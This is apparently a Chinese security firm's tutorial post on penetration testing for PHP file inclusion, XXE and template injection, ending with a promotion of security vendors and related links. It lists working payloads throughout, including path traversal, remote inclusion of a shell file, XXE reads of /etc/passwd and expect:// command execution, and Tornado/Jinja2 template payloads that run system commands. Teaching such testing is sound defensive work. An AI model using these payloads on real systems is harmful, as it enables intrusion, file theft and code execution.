渗透测试该如何全面检测网站漏洞
昨天给大家普及到了渗透测试中执行命令漏洞的检测方法,今天抽出时间由我们Sine安全的渗透工程师来讲下遇到文件包含漏洞以及模板注入漏洞的检测方法和防御手段,本文仅参考给有授权渗透测试的正规安全检测的客户,让更多的客户了解到具体测试的内容,是如何进行全面的网站安全测试。
3.8. 文件包含
3.8.1. 基础
常见的文件包含漏洞的形式为 <?php include("inc/" . $_GET['file']); ?>
考虑常用的几种包含方式为
- 同目录包含 file=.htaccess
- 目录遍历 ?file=../../../../../../../../../var/lib/locate.db
- 日志注入 ?file=../../../../../../../../../var/log/apache/error.log
- 利用 /proc/self/environ
其中日志可以使用SSH日志或者Web日志等多种日志来源测试
3.8.2. 绕过技巧
常见的应用在文件包含之前,可能会调用函数对其进行判断,一般有如下几种绕过方式
3.8.2.1. url编码绕过
如果WAF中是字符串匹配,可以使用url多次编码的方式可以绕过
3.8.2.2. 特殊字符绕过
- 某些情况下,读文件支持使用Shell通配符,如 ? * 等
- url中 使用 ? # 可能会影响include包含的结果
- 某些情况下,unicode编码不同但是字形相近的字符有同一个效果
3.8.2.3. %00截断
几乎是最常用的方法,条件是magic_quotes_gpc打开,而且php版本小于5.3.4。
3.8.2.4. 长度截断
Windows上的文件名长度和文件路径有关。具体关系为:从根目录计算,文件路径长度最长为259个bytes。
msdn定义“`#define MAX_PATH 260“`,第260个字符为字符串结尾的“`0“`
linux可以用getconf来判断文件名长度限制和文件路径长度限制
获取最长文件路径长度:getconf PATH_MAX /root 得到4096 获取最长文件名:getconf NAME_MAX /root 得到255
那么在长度有限的时候,`././././` (n个) 的形式就可以通过这个把路径爆掉
在php代码包含中,这种绕过方式要求php版本 < php 5.2.8
3.8.2.5. 伪协议绕过
远程包含: 要求 allow_url_fopen=On and allow_url_include=On , payload为 ?file=[http|https|ftp]://域名/shell.txt
- PHP INPUT: 把payload放在POST参数中作为包含的文件,要求 allow_url_include=On ,payload为 ?file=php://input
- : 使用伪协议读取文件,payload为 ?file=php://filter/convert.-encode/resource=index.php
- DATA: 使用data伪协议读取文件,payload为 ?file=data://text/plain;,SSBsb3ZlIFBIUAo= 要求 allow_url_include=On
3.9. XXE
3.9.1. XML基础
XML 指可扩展标记语言(eXtensible Markup Language),是一种用于标记电子文件使其具有结构性的标记语言,被设计用来传输和存储数据。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。目前,XML文件作为配置文件(Spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛。
3.9.2. XXE
当允许引用外部实体时,可通过构造恶意的XML内容,导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等后果。一般的XXE攻击,只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,但是也可以通过Blind XXE的方式实现攻击。
3.9.3. 攻击方式
3.9.3.1. 拒绝服务攻击
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>
若解析过程非常缓慢,则表示测试成功,目标站点可能有拒绝服务漏洞。具体攻击可使用更多层的迭代或递归,也可引用巨大的外部实体,以实现攻击的效果。
3.9.3.2. 文件读取
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
3.9.3.3. SSRF
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "" [
<!ELEMENT data (#ANY)>
]>
<data>4</data>
3.9.3.4. RCE
<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
<core id="test101">
<deion>&xxe;</deion>
</core>
</catalog>
3.9.3.5. XInclude
<?xml version='1.0'?>
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="/file.xml"></xi:incl
3.10 模板注入漏洞
3.10. 模版注入
3.10.1. 简介
模板引擎用于使用动态数据呈现内容。此上下文数据通常由用户控制并由模板进行格式化,以生成网页、电子邮件等。模板引擎通过使用代码构造(如条件语句、循环等)处理上下文数据,允许在模板中使用强大的语言表达式,以呈现动态内容。如果攻击者能够控制要呈现的模板,则他们将能够注入可暴露上下文数据,甚至在服务器上运行任意命令的表达式。
3.10.2. 测试方法
- 确定使用的引擎
- 查看引擎相关的文档,确定其安全机制以及自带的函数和变量
- 需找攻击面,尝试攻击
3.10.3. 测试用例
- 简单的数学表达式,{{ 7+7 }} => 14
- 字符串表达式 {{ "ajin" }} => ajin
- Ruby
- <%= 7 * 7 %>
- <%= File.open('/etc/passwd').read %>
- Java
- ${7*7}
- Twig
- {{7*7}}
- Smarty
- {php}echo `id`;{/php}
- AngularJS
- $eval('1+1')
- Tornado
- 引用模块 {% import module %}
- => {% import os %}{{ os.popen("whoami").read() }}
- Flask/Jinja2
- {{ config.items() }}
- {{''.__class__.__mro__[-1].__subclasses__()}}
- Django
- {{ request }}
- {% debug %}
- {% load module %}
- {% include "x.html" %}
- {% extends "x.html" %}
3.10.4. 目标
- 创建对象
- 文件读写
- 远程文件包含
- 信息泄漏 提权
3.10.5. 相关属性
3.10.5.1. __class__
python中的新式类(即显示继承object对象的类)都有一个属性 __class__ 用于获取当前实例对应的类,例如 "".__class__ 就可以获取到字符串实例对应的类
3.10.5.2. __mro__
python中类对象的 __mro__ 属性会返回一个tuple对象,其中包含了当前类对象所有继承的基类,tuple中元素的顺序是MRO(Method Resolution Order) 寻找的顺序。
3.10.5.3. __globals__
保存了函数所有的所有全局变量,在利用中,可以使用 __init__ 获取对象的函数,并通过 __globals__ 获取 file os 等模块以进行下一步的利用
3.10.5.4. __subclasses__()
python的新式类都保留了它所有的子类的引用,__subclasses__() 这个方法返回了类的所有存活的子类的引用(是类对象引用,不是实例)。
因为python中的类都是继承object的,所以只要调用object类对象的 __subclasses__() 方法就可以获取想要的类的对象。这一节渗透测试讲到的这些内容和绕过手法,如果对自己网站不太放心的话可以找专业的网站安全公司来处理解决,国内做的比较好的如Sinesafe,绿盟,启明星辰等等。
渗透测试该如何全面检测网站漏洞相关推荐
- 【经验】渗透测试信息收集步骤、网站、工具分享
渗透测试信息收集步骤.网站.工具分享 刚刚参加完一次大型活动,感觉这个暑假自己的成长很明显.虽然之前的假期也有打算做些什么或者也确实做了什么,但收效甚微.也许人性如此吧,总是要有什么理由推着自己才能前 ...
- 学习web渗透测试国内、国外在线网站
本文首发于公众号:乌云安全,提供关于渗透测试.社会工程学.黑产的技术及资讯. 国内 1.i春秋 国内比较好的安全知识在线学习平台,把复杂的操作系统.工具和网络环境完整的在网页进行重现,为学习者提供完全 ...
- 完整的渗透测试实战纪实,低危漏洞组合成高危利用!
0x00一份好的报告标题也很重要哦 PS:原谅下图重码,此漏洞还没修复 报告详情 漏洞标题某国内大厂招聘系统测试 漏洞url* 0x01本次渗透流程 我们一步一步来, 首先我们从忘记密码那里开始,这里 ...
- 测试网站漏洞软件,如何检测网站漏洞,web漏洞扫描工具盘点
一.常见漏洞 1. 高危漏洞 (自媒体www.777n.com) XSS跨站脚本漏洞:由于程序员在编写程序时对用户提交的数据没有做充分的合规性判断和进行HTML编码处理,直接把数据输出到浏览器客户端, ...
- 渗透测试学习 十一、 其他注入漏洞汇总
大纲:提交方式注入 参数型注入 其他注入 提交方式注入 常见的提交方式: GET:大多数,正常的浏览,以URL的方式进行传参,不安全,明文传输,存在长度限制.xx.com/x.php?id=1 POS ...
- web渗透测试----12、HTTP主机标头漏洞
文章目录 一.HTTP Host请求 1.什么是HTTP Host 请求头? 2.HTTP Host标头的目的是什么? 3.HTTP Host标头如何解决此问题? 二.HTTP Host 攻击 1.什 ...
- 2022渗透测试-3款最常用的漏洞扫描工具
目录 1.nessus 2.AWVS 3.WPscan 1.nessus 1.Nessus软件是什么? 如图,我们可以从百度百科得知:Nessus 是全世界最多人使用的系统漏洞扫描与分析软件.总共有超 ...
- 渗透测试-CRLF注入/HTTP响应拆分漏洞(HTTP Response Splitting)
漏洞描述 因为Web应用没有对用户输入做严格验证,导致攻击者可以输入一些恶意字符. 攻击者一旦向请求行或首部中的字段注入恶意的CRLF,就能注入一些首部字段或报文主体, 并在响应中输出,所以又称为 H ...
- 渗透测试必知必会—Web漏洞
https://as.h5con.cn/articles/129985?spm=cnblog 0x00前言 本文为对 WEB漏洞研究系列的开篇,日后会针对这些漏洞一一研究,敬请期待 0x01 目录 0 ...
最新文章
- 干货丨区块链如何改变人工智能(AI)?
- as用百度地图不联网就gg
- 在ASP.NET Core 2.0中使用MemoryCache
- 蓝桥杯 人物相关性分析 二分
- JPA / Hibernate:基于版本的乐观并发控制
- [渝粤教育] 四川农业大学 宏观经济学 参考 资料
- 排序字段设计_内容搜索排序表达式的最佳实践
- 基于 OpenCV 的图像阴影去除,你会吗?
- 自学python能学成吗-大家觉得自学python多久能学会?
- GDSOI2019退役祭
- Win7任务管理器进程一直在跳动选中不了的处理方法
- [转载]如何用JDO开发数据库应用(3)
- 删除ubuntu自带软件 及 WPS 安装(转)WPS字体已备份
- 【渝粤教育】国家开放大学2018年秋季 1013t金融统计分析 参考试题
- c语言实验报告中致谢词,实验报告致谢词范文.doc
- WinKtv中文版介绍
- 格子殁——个人简介【只是简介】
- Manjaro 安装搜狗中文输入法
- PDF转Excel表格怎么转换?这个方法其实很简单
- 原生JS-浏览器兼容性问题总结